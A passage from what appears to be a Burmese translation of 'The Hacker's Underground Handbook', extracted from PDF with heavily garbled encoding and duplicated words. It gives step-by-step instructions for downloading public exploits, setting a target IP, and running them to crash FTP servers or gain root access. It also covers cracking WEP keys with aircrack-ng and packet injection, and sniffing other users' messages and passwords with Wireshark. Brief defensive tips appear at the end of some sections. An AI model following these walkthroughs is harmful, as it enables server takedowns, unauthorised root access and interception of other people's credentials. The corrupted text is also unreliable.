root AဆငေရာကေAာင လပတေနရာမာ Aသးျပၾကပါတယ။ ေနာကတစနညးေျပာရရငေတာ ဒ

exploit ဟာ သာမာန user Aဆငကေန root privilege AဆငေရာကေAာင လပေပးတ exploit ပါ။

Remote Exploit – remote exploit ကေတာ စကေပၚမာ ၀င run တာမဟတဘ internet

ကေနတဆင run တ exploit ပါ။

System တစခက ထနးခပႏငဖ႕ ဟကာေတြဟာ ဒ exploit ႏစမးလးက Aသးျပတတၾကပါတယ။

Uပမာ - ဟကာဟာ system တစခရ႕ regular privilege ျဖစေAာင remote exploit attack

န႕ျပလပခၿပး regular privilege ကေန root privilege ျဖစေAာင local exploit န႕

ႀကးစားတတပါတယ။

Page 53: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Penetrating

Server တစခရ႕ Vulnerability တစခလညးေတြ႕ပါၿပ။ AဒAတြက exploit

လညးရာေတြ႕ထားၿပးပါၿပ။ ဒါေပမယ Aဒါက ဘယလ run ၿပး server

ကဘယလထးေဖာကတကခကမလ။ ဒ Aခနးမာ Aားလးရငးျပထားပါတယ။

PHP

PHP exploit ေတြကေတာ AသးAမားဆးပါ။ PHP exploit code ေတြဟာ AမားAားျဖင <?php

န႕စၿပး ?> န႕ Aဆးသတပါတယ။ FTP server 0.9.20 ကAသးျပေနတ server တစခက

ယာယထခကသြားေAာင လပခငတယလ႕ ဆၾကပါစ႕။ milw0rm မာ သြားရာၾကညရင ဒ DoS Exploit

က ေတြ႕ရပါမယ။ ဒက download လပပါ။ http://milw0rm.com/exploits/2901

Aဒ exploit က server က attack လပဖ႕ run ရပါမယ။ ဘယလလပရမလဆေတာ…

၁. ပထမဆး ကယစကထမာ PHP သြငးထားဖ႕လပါတယ။ WAMP

http://www.wampserver.com/en/ ဟာ PHP ပါ ပါတ free web server ပါ။

PHP exploit က notepad ထကးထညၿပး “exploit.php” လ႕နာမညေပးၿပး သမးလကပါ။ target

address ကျပငဆငဖ႕A တြက PHP A ေၾကာငးကေတာ နညးနညးသဖ႕လပါတယ။ A ခ exploit ရ႕

လငးနပါတ - 13 မာ $address = gethostbyname(‘192.168.1.3’); $address = gethostbyname(‘192.168.1.3’); $address = gethostbyname(‘192.168.1.3’); $address = gethostbyname(‘192.168.1.3’); ဆၿပးေတြ႕ပါမယ။ A ဒ IP

address ေနရာမာ ကယ target ရ႕ လပစာက ျပငထညလကပါ။ Exploit ေတြဟာ တစခန႕တစခ

မတညၾကပါဘး။ ဘယေနရာမာ ဘယလျပငရမယဆတာက ကယက သဖ႕လပါတယ။ တစခ႕မာေတာ

runtime instruction ေတြ ပါတတပါတယ။ A ချပငၿပးတ ဖငက သင server ရ႕ PHP directory

ေA ာကမာ သြားသမးလကပါ။ WAMP ကသးတာဆရင directory ဟာ C:\wamp\bin\php\php5.2.5

ျဖစပါလမမယ။

၂. ေနာကတဆငကေတာ Command prompt ဒါမမဟတ Mac သးသဆရင terminal ကဖြငပါ။ cd

command က သးၿပး php directory ရတ ေနရာက သြားပါ။

ပ - 44

Page 54: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၃. Exploit က run ဖ႕Aခနကေရာကပါၿပ။ php exploit.php လ႕သာ ရကထညၿပး enter

ကတခလကပါ။ error ႏစေၾကာငးေလာက တကလာပါလမမယ။

ပ - 45

၄. ဟကာဂရႀကးေတြဟာ exploit ေတြ ေရးတAခနမာ Aမားေလးေတြ၊ code Aပေလးေတြ

ထညေရးတတၾကပါတယ။ ဒ exploit ေတြက ဘာ programming knowledge မမရတ script kiddies

ေတြ Aသးျပလ႕ မရႏငေAာငပါ။ Aေပၚက exploit ရ႕ လငး - 18 ကသြားၾကညရင

ေAာကပါလငးကျမငရပါလမမယ။

$junk.$junk.$junk.$junk.=”../../../sun=”../../../sun=”../../../sun=”../../../sun----tzu/../../../suntzu/../../../suntzu/../../../suntzu/../../../sun----tzu/../../../suntzu/../../../suntzu/../../../suntzu/../../../sun----tzu”;tzu”;tzu”;tzu”;

ဒလငးက script kiddies ေတြက ပညာျပထားတ လငးပါ။ ဒစာေၾကာငးက ဖကလကရင ပထမ

error ေပာကသြားပါလမမယ။ ဒါေၾကာငေျပာတာေပါ programming က ေလလာသငယဖ႕

လပါတယလ႕။

Error တစခ Aဆငေျပသြားေပမယလညး ေနာကတစခ ကနေနေသးတယေနာ။ ဒ error ကေတာ

Server Configuration error ပါ။ ဟကာတစေယာကျဖစခငတယဆရင ကယဘာသာ Aမားႀကး

သငယေလလာရပါမယ။ error တစခခ ေတြ႕တငး ဟဟဒဒမာ လကေမးေနလ႕ မေကာငးပါဘး။

www.google.com မာ ရာလ႕ပ Aမားဆး ျပနေျဖၾကပါလမမယ။ ဟတပါတယ Google က သငရ႕

သငယခငးပါ။ သ႕ရ႕ Aားသာခကေတြက ေကာငးေကာငးAသးခလကပါ။

၅။ Error ေတြမရေတာဘးဆရင Program စ run ပါၿပ။ command prompt ကမထြကမခငး target

website က DoS Attack န႕ တကခကေနပါၿပ။ A ဒဆဒက သြားၿပး ဟဟဒဒ ဖြငၾကညပါ။ Target

Server ဟာ ေကာငးေကာငး ဒ exploit က မႏငဘးဆရင exploit ရ႕A စြမးေတြက

Page 55: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

ေတြ႕ျမငရပါလမမယ။ Aဒ ဆဒဟာ ေလးလာၿပး page ေတြက Load ခနဟာလညး ၾကာလာပါမယ။

ေနာကဆးမာေတာ server ႀကး ကဆးသြားပါလမမယ။

Perl

Perl exploit ေတြက run ရတာလညး PHP န႕Aတတပါပ။

၁. သငေတာတ Active Perl version တစခခက Download လပလကပါ။

http://www.activestate.com/Products/activeperl/index.mhtml

၂. Vulnerability A တြက Exploit ကရာပါမယ။ ဒ Uပမာမာေတာ ဒ နမနာ exploit ကသးပါမယ။

http://milw0rm.com/exploits/6581

WinFTP Server 2.3.0 A တြက exploit ပါ။ ဒါလညး DoS exploit ပါပ။

၃. Target server address တ႕ဘာတ႕က လA ပသလ ျပငဆငလကပါ။ ၿပးရင “exploit.pl” ဆၿပး

save လကပါ။ Perl exploit ေတြဟာ “!/usr/bin/perl” န႕စတယဆတာ ျမငပါလမမယ။

၄. Cmd (or) Terminal ကဖြငၿပး exploit ရတ directory က cd command န႕သြားလကပါ။ ၿပးရင

perl exploit.pl လ႕ရကထညၿပး run လကပါ။ စၿပး attack လပပါလမမယ။

ပ - 46

Page 56: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Python

Exploit ေတြက python န႕လညး ေရးၾကပါတယ။ python က

http://www.python.org/download/ ကေန ရယႏငပါတယ။ python exploit က run ပကလညး

perl န႕Aတတပါပ။ python exploit ကဒကယၿပး run ၾကညပါ။

http://milw0rm.com/exploits/3523

Python file ေတြရ႕ extension ကေတာ .py ပါ။

C/C++

Exploit code ေတြက ဖနတးတ လႀကကAမားဆး language ပါ။ တစခ႕ C/C++ code ေတြဟာ

ဘယ compiler ဘယ operating system မာမဆ compile လပႏငပါတယ။ ဒါေပမယ exploit

Aမားစကေတာ Linux မာပ compile လပလ႕ရပါတယ။ Windows ကပ သးၿပးလပခငတယဆရင

Cygwin – http://www.cygwin.com/ က သးၾကညပါ။ Cygwin ဟာ Windows ထမာပ Run တ

Linux-like environment ပါ။ Linux script ေတြက windows Aတြငးမာပ run ႏငေAာငလညး

လပေပးႏငပါတယ။ Linux Aတြက ေရးထားတ C/C++ exploit Aမားစဟာ Cygwin န႕ run

ၾကညလ႕ရေပမယ မရတာေတြလညး Aမားႀကး ရAးမာပါ။ Cygwin န႕ သးပက ေနာကမေျပာပါမယ။

Aခ Ubuntu Linux န႕ C/C++ script ေတြက ဘယလ compile လပမယ run မယဆတာက

Aရငစေျပာပါမယ။

၁. Terminal ကဖြငပါ။

ပ - 47

Page 57: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၂. http://milw0rm.com/exploits/269 ကသြားၿပး remote root exploit က copy ကးပါ။ ၃. Terminal ထမာ vi လ႕ ရကထညၿပး VI editor ကဖြငပါ။ ေAာကက screen ကျမငရပါမယ။ ပ - 48

၄. Typing Mode ထ၀ငဖ႕ I လ႕ရကပါ။ (Shift + i)

၅. Aခ insert mode ထေရာကေနပါၿပ။ right click ႏပၿပး exploit က paste လပထညပါ။

၆. Script Aထေရာကသြားရင save လပဖ႕Aတြက <ESC> ကႏပပါ။ ၿပးရင “:wq exploit.c”

လ႕ရကထညပါ။ document ကေနထြကၿပး document က exploit.c နာမညန႕ save

လပလကပါလမမယ။

Page 58: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၇. Aခ terminal ထမာ ls လ႕ရကထညပါ။ ဒ command ကေတာ current directory ထမာရတ

ဖငေတြAားလးက ျပပါလမမယ။ ခနက save လပခတ exploit.c ဖငက list ထမာ ေတြ႕ပါလမမယ။

ပ - 49

၈. GCC compiler ကသးၿပး ဒ script က compile လပပါမယ။ compile မလပခငမာ C/C++ script

ေတြက compile လပႏငဖ႕Aတြက လAပတ Libraries ေတြန႕ headers ေတြပါတ development

package ကAရင install လပရပါမယ။ သြငးပကေတာ လြယပါတယ။ Terminal ထမာ ေAာကက

command ကရကထညလကပါ။

sudo aptsudo aptsudo aptsudo apt----getgetgetget install buildinstall buildinstall buildinstall build----essentialessentialessentialessential

ပ - 50

Page 59: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၉. ဒ command က လAပတ package က download လပၿပး install

ဆကလပမလားလ႕ေမးပါလမမယ။ “y” လ႕ရကထညလကပါ။ package က သ႕ဘာသာ

သြငးေပးပါလမမယ။ *****(ubuntu linux မာ package ေတြ install လပနညး download

လပနညးေတြက နယေျမသစက လမး၀ငျခငး စာAပထမာ ဖတၾကညပါ)

၁၀. ခနက exploit script က compile လပဖ႕Aတြက “gcc exploit.c” လ႕ရကထညလကပါ။

compile စလပပါလမမယ။ ဘာ error မမျပဘးဆရင ေAာငျမငစြာ compile လပလ႕ၿပးပါၿပ။ “ls”

command ကသးၿပး ဖငေတြကၾကညၾကညပါ။ “a.out” ဆတ compile လပၿပးသား script

ဖငAသစတစခ ေတြ႕ရပါမယ။

၁၁. Aဒဖငက run ဖ႕Aတြက “./a.out” လ႕ရကထညပါ။ ဒ exploit ကသးပသးနညး Note

Aနညးငယ ျပပါလမမယ။ ေAာကက ပကၾကညပါ။

ပ - 51

၁၂. ပထက ေAာကဆးAေၾကာငးကေတာ ဒ exploit က Aသးျပရမယနညးလမးပါပ။

Page 60: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၁၃. BeroFTPD 1.3.4 server က ဒ exploit script န႕ attack လပၾကညရင ဟကာဟာ server ရ႕

root access ရသြားပါလမမယ။ ေAာကကပကေတာ Ubuntu server မာရတ root account

ကျမငရမယပပါ။

ပ - 52

“whoami” လ႕ရကၾကညရင Aခ system ေပၚကသငရ႕ privilege ကျပပါလမမယ။ Aခသငဟာ Aဒ server ရ႕ root privilege ျဖစေနတAတြက root လ႕ျပပါလမမယ။

Page 61: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Cygwin

Linux မာပ Aသးျပလ႕ရမယ C/C++ script က windows မာ Aသးျပခငတယဆရင Cygwin

ကAသးျပၿပး လပေဆာငႏငပါတယ။

၁. http://www.cygwin.com/ ကေန Cygwin က Download လပယလကပါ။

၂. Installer က run လကပါ။

၃. Option 3ခ ျပပါလမမယ။ 1. Install from Internet 2. Download without Installing 3. Install

from Local Directory ဆၿပး ေတြ႕ပါမယ။ internet connection ရရငေတာ နပါတ 1 ကပ ေရြးၿပး

သြငးလကပါ။ 2. Download without Installing ကေတာ ကယစကထက Cygwin setup file Aားလး

download လပၿပး ေနာကမ သြငးခငသြငးႏငေAာငပါ။ download လပထားၿပးသား Cygwin

ကသြငးျခငးရငေတာ 3. Install from Local Directory ကေရြးေပးၿပး သြငးႏငပါတယ။

ပ - 53

Page 62: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၄. Install လပၿပးသြားရင Cygwin Icon ကႏပၿပး ဖြငလကပါ။ command prompt တကလာပါမယ။ ပ - 55

၅. Ubuntu linux မာလပခတ exploit ကပAသးျပလပၾကညပါမယ။ Aဒ exploit ဖငက “C:\cygwin”

directory ထက ေရႊ႕လကၿပး “exploit.c” နာမညန႕ သမးပါ။

၆. Aခ exploit က run ၾကညပါမယ။ ပထမဆး home directory (C:\cygwin) က change

ဖ႕Aတြက “cd /” န႕ change လကပါ။ ေနာက Aဒ directory ထက file ေတြကၾကညဖ႕ “ls”

command ကရကထညပါ။ “exploit.c” ဖငက ေတြ႕ရပါမယ။

၇. Ubuntu မာသးခတ “gcc exploit.c –o exploit” command ကသးၿပးပ compile လပလကပါ။ ဒမာ

-o ဆတ parameter တစခပေနတာ ျမငမာပါ။ Aဒါကေတာ compile လပၿပး ထြကလာမယ output

file က exploit ဆၿပး နာမညေပးၿပး သးလကတာပါ။ error တစစတစရာ မေတြ႕ရငေတာ compile

လပၿပးပါၿပ။ “ls” န႕ current directory ထကဖငေတြက ၾကညၾကညပါ။ “exploit.exe” ဖငAသစတစခ

ေတြ႕ရပါလမမယ။

၈. Exploit က run ဖ႕ “./exploit” လ႕ရကထညလကပါ။ script က run ရမယ ညႊနၾကားခက

ေပၚလာပါမယ။ parameter ေတြက မနကနစြာ ေရြးခယၿပး ေနာကတစႀကမ ထပ run လကရင စၿပး

Aလပလပပါလမမယ။ (parameter ေတြကေတာ ပမာ ျပထားတAတငးပ host name တ႕ target

address တ႕ျဖစပါတယ။)

ပ - 56

Page 63: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၉. Vulnerable machine က ဒ script န႕ attack လပၾကညရင target computer ရ႕ root access က

ရပါလမမယ။

Exploit ေတာေတာမားမားက run ၾကညရင၊ Aဒထက တစ၀ကေလာကက Aလပမျဖစေၾကာငး

ေတြ႕ရပါလမမယ။ exploit Aမားစဟာ သတ႕န႕သကဆငတ environment Aတြငးမာသာ စမးသပ

ေရးသားခတAတြက Aဒ environment န႕တစထပတညးတတ machine ေတြမာသာ ေAာငျမငစြာ

Aလပလပပါလမမယ။

Programming knowledge ဘာလ႕လAပလဆတ ေနာကထပ Aေၾကာငးျပခကတစခပါ။

သငထးေဖာကမယ environment န႕ ကကညေAာင exploit က ျပငဆငႏငဖ႕Aတြက

programming knowledge Aမားႀကးရမ ျဖစမာေလ။

Page 64: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Network Hacking က ကာကြယျခငး

Network hacking ကကာကြယႏငမယ နညးလမးAနညးငယကေတာ…

၁. သြငးထားတ Software ေတြ Aၿမ up to date ျဖစပါေစ။ Software ေတြမာ Vulnerabilities

ေတြAၿမ ရေနတတစၿမပါ။ ဒါေၾကာင Aဒ Vulnerability ေတြက ျပငဆငထားတ patch ေတြက

software company ေတြ ထတတငး ခကခငး patch လပပါ။

၂. Firewall သးစြပါ။

၃. Anti-virus software မား သးပါ။

၄. Vulnerability scanner န႕ သင system က scan စစပါ။

Page 65: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Six Wireless Hacking

Page 66: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

ဒေန႕ေခတမာ Wireless hotspot ေတြ ေတာေတာမားလာပါၿပ။ wireless enabled laptop

န႕တင Internet Aသးျပေနႏငပါၿပ။ ဒ Chapter မာ Secure Wireless Network ေတြကထက

ဟကာေတြ ထးေဖာကႏငမယ နညးလမးေတြန႕ Aဒ network ထက ဟကာ၀ငေရာကႏငသြားရင သ

ဘာေတြလပႏငမလဆတာ ေဆြးေႏြးပါမယ။

Scanning for Wireless Networks

ဒ က႑Aတြက Wireless Card/Adapter တစခ ရဖ႕လပါတယ။ ပထမဆး A နးA နားမာ Wireless

network ေတြရမရ A ရငဆး scan ဖတပါမယ။ Windows မာ A သးျပႏငမယ NetStumbler tool

ကA သးျပပါမယ။ http://www.netstumbler.com/downloads/ ကေန download လပယပါ။ Mac

user ေတြကေတာ http://www.macstumbler.com/ မာ သြားၿပးေလလာၾကညပါ။ ဒေတြန႕ A လားတ

program ေတြကေတာ…

- Kismet for Windows and Linux. http://www.kismetwireless.net/

- KisMac for Mac. http://kismac.macpirate.ch/download.php

၁. NetStumbler က download လပၿပး သြငးလကပါ။

၂. ၿပးရင Run လကပါ။ Wireless Access Point ေတြက A လA ေလာကစၿပး scan လပပါလမမယ။

၃. Scan လပၿပးသြားရင ကယA နားရတ Wireless Access Point ေတြA ားလးက ျပပါလမမယ။

ပ - 57

Page 67: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၄. ေတြ႕ခတ Wireless Network တစခရ႕ MAC address က ကလစႏပၾကညရင Aဒ wireless

network ရ႕ signal strength ကျပတ graph တစခေတြ႕ရပါမယ။ Aစမးေရာငေတြမားေလ signal

Aားေကာငးေလပါပ။

ပ - 58

၅. NetStumbler ဟာ wireless network တစခရ႕ SSID ကသာမက MAC address, Channel

numberန႕ encryption type Aျပင တစျခား ေျမာကျမားစြာ ေဖာျပေပးပါတယ။ ဒAခကေတြ

Aားလးဟာ Encryption က crack ဖ႕Aတြက Aသး၀ငတ Aခကေတြခညးပါပ။ Common

encryption type ေတြကေတာ…

WEP (Wired Equivalent Privacy) – WEP ဟာ လၿခမႈ မရေတာပါဘး။ WEP key က

လြယလြယကက crack ႏငမယ နညးလမးေတြ Aမားႀကး ေတြ႕ရေနပါၿပ။

WAP (Wireless Application Protocol) – လကရမာေတာ WAP ဟာ Wireless network က

AျပညA၀ လၿခမႈေပးႏငမယဟာပါပ။ WAP key က crack ခငရင WEP key လ crack ရ မလြယက

ပါဘး။ Brute-force ဒါမမဟတ Dictionary attack ေတြန႕သာ ရႏငပါမယ။ ကယ key ဟာ

လၿခမႈျပည၀ရင Dictionary attack န႕လညး မ crack ႏငပါ။ Brute-force န႕ဆလညး

ဆယစႏစေတြသာ တစခၿပး တစခေျပာငးသြားပါမယ၊ မရႏငပါ။ ဒါေၾကာင ဟကာAမားစဟာ ဒAတြက

Aပငပနးေတာင မခၾကတာေပါ။

Page 68: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Cracking WEP

ဒAခနးမာ WEP က crack ဖ႕Aတြက BackTrack လ႕ေခၚတ Live Linux Distribution

တစခက Aသးျပပါမယ။ WEP က crack ဖ႕ BackTrack မာ Software ေတြ တစျဗတႀကး ပါပါတယ။

စမလပခင Requirement ႏစခရပါတယ။

၁. Wireless Adapter http://www.aircrack-ng.org/doku.php?id=compatible_cardsတစခပါတ

Computer တစလးလပါတယ။

၂. BackTrack Live CD တစခပ လပါတယ။

BackTrack မာပါတ tool ေတြထက A သးျပမယ tool ေတြကေတာ…

1. Kismet – Wireless Network Detector

2. airodump – captures packets from a wireless router

3. aireplay – forges ARP requests

4. aircrack – decrypts the WEP keys

က စမယ….

၁. ပထမဆး Wireless access point တစခန႕ သ႕ရ႕ bssid, essid and channel number

ေတြကရာရပါမယ။ terminal ထ၀င၊ kismet လ႕ရကထညၿပး Kismet က run လကပါ။ ကယစကမာ

တပထားတ adapter name က ေတာငးပါလမမယ။ iwconfig လ႕ရကထညၿပး ကယ device

နာမညက ၾကညလ႕ရပါတယ။ ဒ example မာေတာ adapter name က ath0

ပ - 59

၂. ေနာကဟာေတြ ဆကလပႏငဖ႕ ကယ Wireless adapter ဟာ Monitor mode ျဖစေနဖ႕လပါတယ။

Kismet က ဒါက A လA ေလာကလပေပးပါတယ။

Page 69: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၃. Kismet ထမာ Y/N/O ဆတ flag ေတြက ေတြ႕ရပါမယ။ encryption type ရ႕ Aတေကာက

စာလးေတြပါ။ ဒ example ဟာ WEP key ကရာမာျဖစတAတြက WEP encryption န႕ Access Point

ကသာ ရာရပါမယ။

Y=WEP

N=OPEN

O=OTHER (A မားA ားျဖင WAP)

၄. Access Point ကေတြ႕ၿပဆရင notepad ကဖြငၿပး network broadcast name (essid), mac

address (bssid) န႕ channel number တ႕က မတလကပါ။ ဒA ခကေတြက ရဖ႕ Access Point က

arrow key န႕ေရႊ႕သြားၿပး enter ႏပလကရင ရပါတယ။

ပ - 60

၅. ေနာကတစဆငကေတာ A ဒ access point ဆက data ေတြက airodump န႕ collect လပဖ႕ပါ။

terminal A သစတစခဖြငလကၿပး ေA ာကက command ကရကထညပါ။

airodumpairodumpairodumpairodump----ng ng ng ng ––––c [channel#] c [channel#] c [channel#] c [channel#] ––––w [filename] w [filename] w [filename] w [filename] ––––bssid [bssid] [device]bssid [bssid] [device]bssid [bssid] [device]bssid [bssid] [device]

A ေပၚက command မာ airodump-ng က program က စrun ေပးလကၿပး။ သငေတြ႕တ access

point ရ႕ channel က -c ေနာကမာ ထည။ output data ေတြက သမးမယဖငနာမညက -w

ေနာကမာထည။ access point ရ႕ MAC Address က -bssid ေနာကမာထည။ ေနာကဆးမာက device

name ကထည။ command ေတြမာ bracket ေတြထညရကစရာ မလပါ။

၆. A ေပၚက run န႕ terminal က ဒA တငးထားလကၿပး terminal A သစတစခ ထပဖြငလကပါ။ data

output speed ပျမနလာေA ာငလ႕ access point ဆက fake package ေတြ generate လပပါမယ။

A သစဖြငထားတ terminal ထမာ ေA ာကက command ကရကပါ။

aireplayaireplayaireplayaireplay----ng ng ng ng ----1 0 1 0 1 0 1 0 ----a [bssid] a [bssid] a [bssid] a [bssid] ----h 00:11:22:33:44:55:66 h 00:11:22:33:44:55:66 h 00:11:22:33:44:55:66 h 00:11:22:33:44:55:66 ----e [essid] [device]e [essid] [device]e [essid] [device]e [essid] [device]

Page 70: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

ဒ command ကေတာ aireply-ng န႕ aireply က run လကပါတယ။ Aဒေနာကက -1 ကေတာ fake

authentication လပမယလ႕ေျပာၿပး -a က target access point ရ႕ mac address၊ -h က ကယ

wireless adapter ရ႕ mac address၊ -e က access point ရ႕ essid name န႕ ေနာကဆးကေတာ

ကယ wireless adapter device name က ထညရမာပါ။

၇. Aခ target access point က packet ေတြAမားႀကး ထတလႊတေAာင လပေပးၾကပါမယ။ Aဒ

packet ေတြထကမ WEP key က crack ဖ႕ ႀကးပမးၾကရမာေလ။ ေAာကက command က execute

လပၿပးတာန႕ airodump-ng terminal ကၾကညၾကညပါ။ ARP packet ေတြစၿပးတးလာေနတာက

ေတြ႕တာရမာပါ။ command ကေတာ…

aireplayaireplayaireplayaireplay----ng ng ng ng ----3 3 3 3 ----b [bssid] b [bssid] b [bssid] b [bssid] ----h 00:11:22:33:44:5:66 [device]h 00:11:22:33:44:5:66 [device]h 00:11:22:33:44:5:66 [device]h 00:11:22:33:44:5:66 [device]

ဒ command ထက -3 ကေတာ packet injection န႕ attack လပဖ႕ ညႊနၾကားတာပါ။

၈. 50k-500k packets ေလာက collect လပၿပးသြားရင WEP key ကစၿပး ရာလ႕ရပါၿပ။ cracking

process က စတငေပးမယ command ကေတာ…

aircrackaircrackaircrackaircrack----ng ng ng ng ----a 1 a 1 a 1 a 1 ----b [bssid] b [bssid] b [bssid] b [bssid] ----n 128 [filename].ivsn 128 [filename].ivsn 128 [filename].ivsn 128 [filename].ivs

ဒ command ထက -a 1 က WEP attack mode ကေျပာငးခငးၿပး -b က MAC address, -n 128 က

WEP Key length ကေျပာတာပါ။ -n ကသပမသရင ထားခလကပါ။ WEP key က စကန႕ပငးA တြငး

crack ေပးပါလမမယ။ packets ေတြ capture မားမားလပထားေလ၊ crack တေနရာမာ

A ခြငA ေရးပရေလပါပ။

ပ - 61

Page 71: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Computer ေတြ Network adapter ေတြ AမးAစားေပါငးမားစြာရလ႕ ဒလ crack ၾကညတေနရာမာ

error ေတြေတြ႕ရမာပါ။ ဒလ ျဖစၿပဆရင Google က သငရ႕ မတေဆြဆတာက မတမတယေနာ။

Aဒါန႕ ရာၾကညပါ။ Aေျဖက ေတြ႕ႏငမာပါ။

Packet Sniffing

Packet Sniffing ကလကေတြ႕လပျပဖ႕Aတြက Wireshark က Aသးျပလပျပသြားပါမယ။ Packet

Sniffing ဆ network တစခAတြငးက packet ေတြက ဖမးယတ နညးပညာပါ။ ဟကာတစေယာက

ဟာ Packet Sniffer တစခကသးၿပး Wireless Network ရ႕ access ကရရသြားၿပဆရင Aဒ network

က username တ႕၊ password တ႕၊ email တ႕က သ Aကနသရသြားႏငပါတယ။ Example

တစခလပျပပါမယ။

၁. http://www.wireshark.org/ ကေန Wireshark က download လပၿပး သြငးလကပါ။

၂. ၿပးရင run လကၿပး List the available capture interfaces ဆတ option တစခက click

ႏပလကပါ။

ပ - 62

Page 72: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၃. Target ကေရြးၿပး Start က ႏပပါ။

၄. ဘယဟာက ေရြးရမလ မသရင ခဏေစာငၾကညၿပး Packets ေနရာမာAမားဆး တစခကေရြးပါ။

Packets ေတြမားမားျပေနတာဟာ Aဒ target က user ဟာ active ျဖစေနတယဆတာက ျပတာပါပ။

ပ - 63

၅. Wireshark Aလပလပပက ျပႏငဖ႕Aတြက Target computer ကေန MSN messenger

ကAသးျပၿပး Message တစခပ႕ျပပါမယ။ ေAာကပမာ ျမငရတAတငးပ ကယေျပာေနတာေတြ

Aားလးက Wireshark န႕ဖမးမပါတယ။ မလAပတ တစျခား data ေတြက စစထတၿပး Windows Live

န႕ဆငတ Packet ေတြကပ capture လပဖ႕Aတြက “msnms” ဆတာက Filter: ထမာ

ရကထညပါတယ။

ပ - 64, 65

Page 73: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၆. ပမာျမငတAတငးပါပ ေျပာေနတစကားေတြက Aားလးျပေနပါတယ။ Username ေတြ Password

ေတြကလညး ဒနညးAတငးပ capture ဖမးပါတယ။ Aကယ၍ ဒ username ေတြ password ေတြဟာ

encrypt မလပထားဘးဆရင plain text Aေနန႕က ျမငရပါလမမယ။

တစျခားAသး၀ငတ Sniffing Programs ေတြကေတာ…

WinDump – http://netgroup.polito.it/tools

Snort – http://www.snort.org/

Dsniff – http://monkey.org/~dugsong/dsniff/

Wireless Network Hacker မားရနမ ကာကြယနညးမား

၁. သင router ေတြရ႕ default password ကေျပာငးလလကပါ။ WAP encryption ကလညး enable

လပထားပါ။ သင router ဟာ WAP option မပါဘးဆရင WEP ကသးပါ။

၂. Router password က ရညရညေပးပါ။ numbers, lowercase letters, uppercase letters and

other symbols ေတြ A ားလးပါ၀ငပါေစ။ password ဟာ ရႈပေလ ေကာငးေလပါပ။

၃. သင Router ဟာ SSID က broadcast မလပတ option ပါ၀ငပါေစ။ ဒါမ Net Stumbler လ

ပရဂရမေတြန႕ သငရ႕ Wireless network က ရာမေတြ႕ႏငမာပါ။

၄. Router ရ႕ MAC filtering ကA သးျပပါ။ Wireless card/adapter ေတြတငးမာ MAC address

ေတြရၾကပါတယ။

၅. Packet Sniffing attack ရနကေန ကာကြယဖ႕ A ေရးႀကးတ site ေတြက

သြားေရာကA သးျပတA ခါ SSL (Secure Socket Layer) encryption ကA သးျပပါ။ SSL enabled

ျဖစတဆဒေတြရ႕ URL ဟာ https:// န႕စပါတယ။

Page 74: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

ဤစာမကႏာAား တမငတကာ Aလြတခနထားချခငး ျဖစသည။

